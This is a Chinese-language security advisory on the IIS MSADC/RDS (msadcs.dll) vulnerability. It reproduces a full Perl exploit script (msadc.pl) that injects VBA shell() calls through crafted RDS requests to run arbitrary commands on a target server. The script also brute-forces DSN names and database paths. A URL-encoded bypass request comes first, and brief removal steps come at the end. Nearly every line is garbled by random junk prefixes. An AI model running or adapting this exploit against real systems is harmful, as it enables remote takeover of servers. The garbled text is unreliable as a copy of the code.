IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
eSf:[^ Ja2.1v|r. 涉及程序:
H2p;J#cv@ Microsoft NT server
z@}~2K ==9Ez 描述:
Kxn=iv^Ir 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
H(| v 0&@6NW&Mu 详细:
zyE yZc? 如果你没有时间读详细内容的话,就删除:
,$>Z= ~x* c:\Program Files\Common Files\System\Msadc\msadcs.dll
.l!Z=n| 有关的安全问题就没有了。
!LA#c' 'rgV]Oy 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
%8/$CR "~6BC 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
7;V5hul 关于利用ODBC远程漏洞的描述,请参看:
:yeTzIz]
aY~IS?!; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +iR;D$w SQ[}]Tm;n 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
MmB-SR[>P http://www.microsoft.com/security/bulletins/MS99-025faq.asp -_dgd:or <dZ{E7l 这里不再论述。
c1f6RCu$b SE1 tlP 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
62q-7nV H+Wd#7l, /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!~#31kL& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\$I
)} +oa]v1/W I <7K^j+5: #将下面这段保存为txt文件,然后: "perl -x 文件名"
qi$8GX=~r 3 ren1 #!perl
:d;5Q\C` #
Q]HRg4r # MSADC/RDS 'usage' (aka exploit) script
!WmpnPr1 #
gVc[`(@h # by rain.forest.puppy
k dqH36&< #
Lv"83$^S9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,^(T^ - # beta test and find errors!
*HVO u'C4d6\wS use Socket; use Getopt::Std;
H0S7k`. getopts("e:vd:h:XR", \%args);
BdTj0{S1u B sAglem print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
=[$*PTe LLMkv!%D if (!defined $args{h} && !defined $args{R}) {
a;(:iMCi print qq~
z"-Urd^O Usage: msadc.pl -h <host> { -d <delay> -X -v }
C<pF13*4 -h <host> = host you want to scan (ip or domain)
+RM3EvglDQ -d <seconds> = delay between calls, default 1 second
;4 &~i -X = dump Index Server path table, if available
AxeWj%w@ -v = verbose
}5gQZ'ys' -e = external dictionary file for step 5
JBqzQ^[n >2rFURcD Or a -R will resume a command session
/[IK[ `U1"WcN ~; exit;}
C'Ymz`iQ >TE&myZ?* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2aG<^3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#
;9KDt@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Zqao4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}E=mZZ) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9'tM65K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1osI~oNZ (z[cf|he if (!defined $args{R}){ $ret = &has_msadc;
R'{V&H^Z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
XDn$=`2 ZE :oK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
e'jR<ln| . "cmd /c ";
5rc<ibGh $in=<STDIN>; chomp $in;
sU8D;ML7 $command="cmd /c " . $in ;
HdGy$m` \+,jM6l}- if (defined $args{R}) {&load; exit;}
T57S!CJ^$5 ScI9.{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N9i>81tY &try_btcustmr;
NEN br$,G k~?@~xm,R print "\nStep 2: Trying to make our own DSN...";
X9P-fF?0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
N>/U%01a .8,lhcpY print "\nStep 3: Trying known DSNs...";
6 2LZ}yn_" &known_dsn;
;c'jBi5W y.>r>o"0 print "\nStep 4: Trying known .mdbs...";
rlds-j'' &known_mdb;
:!R+/5a cgU7)`0j if (defined $args{e}){
IE|$>q0Z print "\nStep 5: Trying dictionary of DSN names...";
";jhj:Xj &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
uto4bs: q
H+~rj print "Sorry Charley...maybe next time?\n";
8\[6z0+; exit;
4g6d6~098; U zc`,iV$ ##############################################################################
rUj]6j=e -O ej6sILO sub sendraw { # ripped and modded from whisker
:+u?A sleep($delay); # it's a DoS on the server! At least on mine...
$idYG<], my ($pstr)=@_;
{6n B83BB socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s Ce{V*ua die("Socket problems\n");
d9E:LZy if(connect(S,pack "SnA4x8",2,80,$target)){
,fL*yn select(S); $|=1;
n\d-^ml print $pstr; my @in=<S>;
2"NJt9w select(STDOUT); close(S);
fHM<6i<C return @in;
:imp~~L; } else { die("Can't connect...\n"); }}
0"ZRJl<)[I chxO*G ##############################################################################
HQ]g{JVld\ {|
Tl3 sub make_header { # make the HTTP request
fu33wz1$}B my $msadc=<<EOT
Ix}:!L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
A_CK,S*\,& User-Agent: ACTIVEDATA
C EAwQH Host: $ip
Z5+qb Content-Length: $clen
'sJYt^ Connection: Keep-Alive
wVp AuWEy-q? ADCClientVersion:01.06
ZXp=QH+f Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@<l7"y;\ 3^C --!ADM!ROX!YOUR!WORLD!
q*52|? Content-Type: application/x-varg
3PPN_Z Content-Length: $reqlen
W*N^G p@ 85-00m ~ EOT
,|}Pof=]xk ; $msadc=~s/\n/\r\n/g;
%I?uO(
@ return $msadc;}
.I<#i9Le ]H%y7kH8 ##############################################################################
iku) otUc r6JdF!\d sub make_req { # make the RDS request
p"3_u;cN my ($switch, $p1, $p2)=@_;
?bW|~<X~ my $req=""; my $t1, $t2, $query, $dsn;
hj s[$,1 >}Fe9Y.o if ($switch==1){ # this is the btcustmr.mdb query
Qn6'E $query="Select * from Customers where City=" . make_shell();
6o!+E@V
b $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|cUTP!iy $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Y2HF Ar,B7-F! elsif ($switch==2){ # this is general make table query
p78X,44xg $query="create table AZZ (B int, C varchar(10))";
UTC|8 $dsn="$p1";}
]gx]7 :[A>O( elsif ($switch==3){ # this is general exploit table query
cba~ $query="select * from AZZ where C=" . make_shell();
ncjtv"2R $dsn="$p1";}
#Fm, mO$v OLg=kF[[ elsif ($switch==4){ # attempt to hork file info from index server
-YPUrU[) $query="select path from scope()";
~QQi{92 $dsn="Provider=MSIDXS;";}
s8Bbet Z]jm.'@z@ elsif ($switch==5){ # bad query
RutRA $query="select";
fq-e2MCX5 $dsn="$p1";}
E>NRC\^@ xJlf}LEyF $t1= make_unicode($query);
DSf $t2= make_unicode($dsn);
o-H\vtOjE $req = "\x02\x00\x03\x00";
L"e8S%UqX $req.= "\x08\x00" . pack ("S1", length($t1));
u?,M`w0' $req.= "\x00\x00" . $t1 ;
}V:ZGP#!' $req.= "\x08\x00" . pack ("S1", length($t2));
;n`SF~CU $req.= "\x00\x00" . $t2 ;
7|bzopLJk $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
=n7QL QU return $req;}
HtFc+%= X+dLk(jI`u ##############################################################################
sbqAjm} :rR)rj' sub make_shell { # this makes the shell() statement
f2ea|l return "'|shell(\"$command\")|'";}
~?E.U,R 8725ET
t ##############################################################################
,E
] vM& <MdIQ;I8 sub make_unicode { # quick little function to convert to unicode
bYt[/K, my ($in)=@_; my $out;
u2\QhP 9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"=H(\V return $out;}
J;8M._ U4s)3jDw ##############################################################################
l|{q8i#4V FglW|Hwy sub rdo_success { # checks for RDO return success (this is kludge)
,y5,+:Y
~ my (@in) = @_; my $base=content_start(@in);
VO
u/9]a if($in[$base]=~/multipart\/mixed/){
-?%81 z.Qq return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fw.df< return 0;}
-}:;
EGUtd n[+$a)$8 ##############################################################################
|[./jg" [8%R*} sub make_dsn { # this makes a DSN for us
,9~=yC my @drives=("c","d","e","f");
sH_B*cr3 print "\nMaking DSN: ";
6~b)Hc/ foreach $drive (@drives) {
W!jg print "$drive: ";
4 x|yzUx my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~S\y)l\wZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ngLpiU0H& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2e_ m>I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Gv\39+9= return 0 if $2 eq "404"; # not found/doesn't exist
1Y+g^Z;G if($2 eq "200") {
0Ba*"/U]t~ foreach $line (@results) {
o{[w6^D7 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(pv6V2i } return 0;}
n F1}? e|1.-P@ ##############################################################################
}t%2giJ yt+d
f0l sub verify_exists {
3q-Xj:FP my ($page)=@_;
W @
?* ~ my @results=sendraw("GET $page HTTP/1.0\n\n");
pOq9J7BS return $results[0];}
hEhvA6f, Bcl6n@{2f ##############################################################################
a1dkB"Zp.p F<0GX!p4u sub try_btcustmr {
bDtb"V8e my @drives=("c","d","e","f");
qw<~v?{|C my @dirs=("winnt","winnt35","winnt351","win","windows");
2%_UOEayU Xte"tf9(C foreach $dir (@dirs) {
sI<PYi={-6 print "$dir -> "; # fun status so you can see progress
AGGNJ4m foreach $drive (@drives) {
S; Fj9\2)I print "$drive: "; # ditto
9f #6Q*/ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>(He,o@M $reqlenlen=length( "$reqlen" );
tRYi q $clen= 206 + $reqlenlen + $reqlen;
~O8Xj6 3)*Twqt my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|%$mN{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
v|IG
G'r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9s2N!bx $s<bKju ##############################################################################
AQgagE^ I><sK-3 sub odbc_error {
~y" ^t@!E my (@in)=@_; my $base;
(5h+b_eB my $base = content_start(@in);
kWZ/O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k)TNmpL%" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5pz(6gA $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"t&_!Rm $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oGKk2oP
return $in[$base+4].$in[$base+5].$in[$base+6];}
!Ct'H1J- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
BvqypLI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s#>``E! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~#PC(g GF17oMi ##############################################################################
{w52]5l h
e1= sub verbose {
:\69N/uw` my ($in)=@_;
l'FNp return if !$verbose;
bR}=bp4K print STDOUT "\n$in\n";}
&Ef_p-e-P "
"{#~X} ##############################################################################
E3d# T 4n}^1eQ9 sub save {
8omk4 ; my ($p1, $p2, $p3, $p4)=@_;
=*=qleC3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K!qV82b='{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
dFzlcKFFD close OUT;}
;Y%.m3 Y N*"q'Yz_ ##############################################################################
{Ax{N &k@r23V7r sub load {
57rH`UFXH my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lQl open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W?2Z31;7 @p=<IN>; close(IN);
j7v?NY $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5o2|QL $target= inet_aton($ip) || die("inet_aton problems");
a9niXy}a( print "Resuming to $ip ...";
egh_1Wg2a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`>N_A!pr` if($p[1]==1) {
3ox
0-+_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<j&LC
/]o $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-eQ70BXvB my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
cRS2v--\- if (rdo_success(@results)){print "Success!\n";}
xyPz_9 else { print "failed\n"; verbose(odbc_error(@results));}}
#7"*Pxb#A elsif ($p[1]==3){
PNG!q}(c if(run_query("$p[3]")){
K[M[0D print "Success!\n";} else { print "failed\n"; }}
'/~j!H4q9 elsif ($p[1]==4){
^gd[U C-"w if(run_query($drvst . "$p[3]")){
KV]8o' print "Success!\n"; } else { print "failed\n"; }}
V^E.9fs, exit;}
qb?9i-( 6U[bAp ##############################################################################
KQ2jeJ/pj } 0x'm sub create_table {
>' e(|P4 my ($in)=@_;
pqnZ:'V $reqlen=length( make_req(2,$in,"") ) - 28;
q}MPl 2 $reqlenlen=length( "$reqlen" );
mIm.+U`a2 $clen= 206 + $reqlenlen + $reqlen;
AD4Ot5 my @results=sendraw(make_header() . make_req(2,$in,""));
?h7(,39^> return 1 if rdo_success(@results);
JsyLWv@6xa my $temp= odbc_error(@results); verbose($temp);
x/^,{RrPk return 1 if $temp=~/Table 'AZZ' already exists/;
uwhb-.w return 0;}
TF- k|##G Avr2MaY{h ##############################################################################
EH~XN9b iR6w) sub known_dsn {
9~6)u=4sS" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
V]qv,> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
w;4FN'
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*9I/h~I "banner", "banners", "ads", "ADCDemo", "ADCTest");
^L +@oS )ND%MYJSq foreach $dSn (@dsns) {
h4lrt print ".";
RT$.r5l_@ next if (!is_access("DSN=$dSn"));
3 F ke#t if(create_table("DSN=$dSn")){
YMfjTt@Q print "$dSn successful\n";
v\3}5v%YI if(run_query("DSN=$dSn")){
">hOD'PG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1Kc[).O1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
M->$'Zgh` R0_O/o+{ ##############################################################################
R1lC_G] !i77v,
(#| sub is_access {
]v,>!~8r my ($in)=@_;
B`i5lD $reqlen=length( make_req(5,$in,"") ) - 28;
UthH $reqlenlen=length( "$reqlen" );
K6X}d,g $clen= 206 + $reqlenlen + $reqlen;
Ihn+_Hu my @results=sendraw(make_header() . make_req(5,$in,""));
y1@*)|
r my $temp= odbc_error(@results);
di5>aAJ)D verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1@L|EFa return 0;}
Gn7P` t*. /yn%0Wish ##############################################################################
vk]vtjf&% 2qkZ B0[ sub run_query {
`7mRUDz my ($in)=@_;
3HI-G.]hC $reqlen=length( make_req(3,$in,"") ) - 28;
a }m> $reqlenlen=length( "$reqlen" );
c>3AR17+5 $clen= 206 + $reqlenlen + $reqlen;
Vim*4^[#L my @results=sendraw(make_header() . make_req(3,$in,""));
{} gr\ return 1 if rdo_success(@results);
"-HmXw1+t my $temp= odbc_error(@results); verbose($temp);
&)y$XsSMW return 0;}
W$bQS!7y M7JQw/,xs ##############################################################################
[;n/|/m, gvLzE&V} sub known_mdb {
TC$)::C1 my @drives=("c","d","e","f","g");
Hz6tk9;w my @dirs=("winnt","winnt35","winnt351","win","windows");
4'
MmT' my $dir, $drive, $mdb;
IVblSiFF my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q}'ww 4`M7
3k0 # this is sparse, because I don't know of many
VvSe`E* my @sysmdbs=( "\\catroot\\icatalog.mdb",
IqW4Q1>f "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Jv+N/+M47 "\\system32\\certmdb.mdb",
{BS}9jZx "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
! O~: >ukn< my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`z)q/;}fC "\\cfusion\\cfapps\\forums\\forums_.mdb",
{#o0vWS> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_hz}I>G@B "\\cfusion\\cfapps\\security\\realm_.mdb",
_9<nM48+t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
fC7rs 5 "\\cfusion\\database\\cfexamples.mdb",
o,D7$WzL "\\cfusion\\database\\cfsnippets.mdb",
xB<^ar "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{k"t`uo_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.%x%b6EI "\\cfusion\\brighttiger\\database\\cleam.mdb",
EpsjaOmAF "\\cfusion\\database\\smpolicy.mdb",
G9
g
-EP\ "\\cfusion\\database\cypress.mdb",
b$W~w*O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}8e_ "\\website\\cgi-win\\dbsample.mdb",
cKM#0dq "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
YQ7\99tj "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i]
I{7k ); #these are just
*+|,rcI foreach $drive (@drives) {
M8{J foreach $dir (@dirs){
J\%SAit@ foreach $mdb (@sysmdbs) {
qe3d,! print ".";
`$oy4lDKQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y`Nprwb print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$3'xb/3| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
N7 ox#=g print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
> f*-9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
Zb4+zps^- qe<xH#6 foreach $drive (@drives) {
=v:}{~M^$ foreach $mdb (@mdbs) {
.:I^O[k print ".";
XEe$Wh
if(create_table($drv . $drive . $dir . $mdb)){
pt_]&3\e print "\n" . $drive . $dir . $mdb . " successful\n";
zc.r&(d if(run_query($drv . $drive . $dir . $mdb)){
]]^r)&pox print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
F6Ne?[b } else { print "Something's borked. Use verbose next time\n"; }}}}
f>zd,|)At }
s/\<;g:u^ 3\2^LILLO ##############################################################################
i*jnC> "%rzL.</ sub hork_idx {
'TO/i:{\ print "\nAttempting to dump Index Server tables...\n";
lKBI3oYn print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ZU68\cL $reqlen=length( make_req(4,"","") ) - 28;
oH"VrS 6 $reqlenlen=length( "$reqlen" );
's\rQ-TV $clen= 206 + $reqlenlen + $reqlen;
!%/2^ my @results=sendraw2(make_header() . make_req(4,"",""));
Y;1s=B9 if (rdo_success(@results)){
ZYLPk<< my $max=@results; my $c; my %d;
cMoBYk for($c=19; $c<$max; $c++){
9ePR6WS4 $results[$c]=~s/\x00//g;
/:ju/~R} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
RHu4cK!5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
IO{iQ-Mg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
X- P%^mK $d{"$1$2"}="";}
q-r5z GI foreach $c (keys %d){ print "$c\n"; }
C
{G647 } else {print "Index server doesn't seem to be installed.\n"; }}
Z jn![ #SR )tU ##############################################################################
Z5`U+ ( xA>3]<O sub dsn_dict {
TUX:[1~Nf[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;]VLA9dC while(<IN>){
M!Ywjvw*)3 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$]~|W3\G next if (!is_access("DSN=$dSn"));
)(h<vo)-zX if(create_table("DSN=$dSn")){
')Qb,#/,% print "$dSn successful\n";
)VeeAu)p if(run_query("DSN=$dSn")){
0Ci:w|J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g+QNIM> print "Something's borked. Use verbose next time\n";}}}
SD .c9 print "\n"; close(IN);}
F-<c.0;6 &`}ACTY'P ##############################################################################
<ahcE1h .#_g.0< sub sendraw2 { # ripped and modded from whisker
uiq;{!dop sleep($delay); # it's a DoS on the server! At least on mine...
vFK!LeF% my ($pstr)=@_;
ar:qCq$\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y<^hM6S?Z die("Socket problems\n");
Tl
S904' if(connect(S,pack "SnA4x8",2,80,$target)){
6BObV/S Jg print "Connected. Getting data";
IRbZ ;*3dO open(OUT,">raw.out"); my @in;
ka<rlh<h select(S); $|=1; print $pstr;
tRXR/;3O while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
gx=2]~O1( close(OUT); select(STDOUT); close(S); return @in;
fYzZW } else { die("Can't connect...\n"); }}
7Yly^ E|ZLz~ ##############################################################################
rlSflcK\\( 9m}c2:p sub content_start { # this will take in the server headers
p 4Y2AQ9 my (@in)=@_; my $c;
k2DBm q; for ($c=1;$c<500;$c++) {
cB4p.iO
if($in[$c] =~/^\x0d\x0a/){
a WMEo`O% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\q:PU6q else { return $c+1; }}}
'
4Kf return -1;} # it should never get here actually
bEl)/z*gy/ f/]g@/` ##############################################################################
Hv .C5mo d1/uI^8> sub funky {
~MW_=6U my (@in)=@_; my $error=odbc_error(@in);
/;xmM2B' if($error=~/ADO could not find the specified provider/){
nX-%qc" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
S@eI3PkE exit;}
Y?V>%eBu if($error=~/A Handler is required/){
$jNp-5+Q; print "\nServer has custom handler filters (they most likely are patched)\n";
k?ksv+e\ exit;}
28d=-s=[ if($error=~/specified Handler has denied Access/){
J2Eb"y>/; print "\nServer has custom handler filters (they most likely are patched)\n";
P[a\Q`}L exit;}}
'>"-e'1m( C]D voJmBs ##############################################################################
:EZ"D#>y~ 2B&|0&WI sub has_msadc {
~U_,z)<`)c my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
NRZ>03w my $base=content_start(@results);
(f?&zQ!+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
R{A$hnhW6 return 0;}
O;~dao $_NP4V8|z/ ########################
b+ J) Mwd(?o psZ #^@>mJ 解决方案:
i;8tA! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
m\?H
<o0 2、移除web 目录: /msadc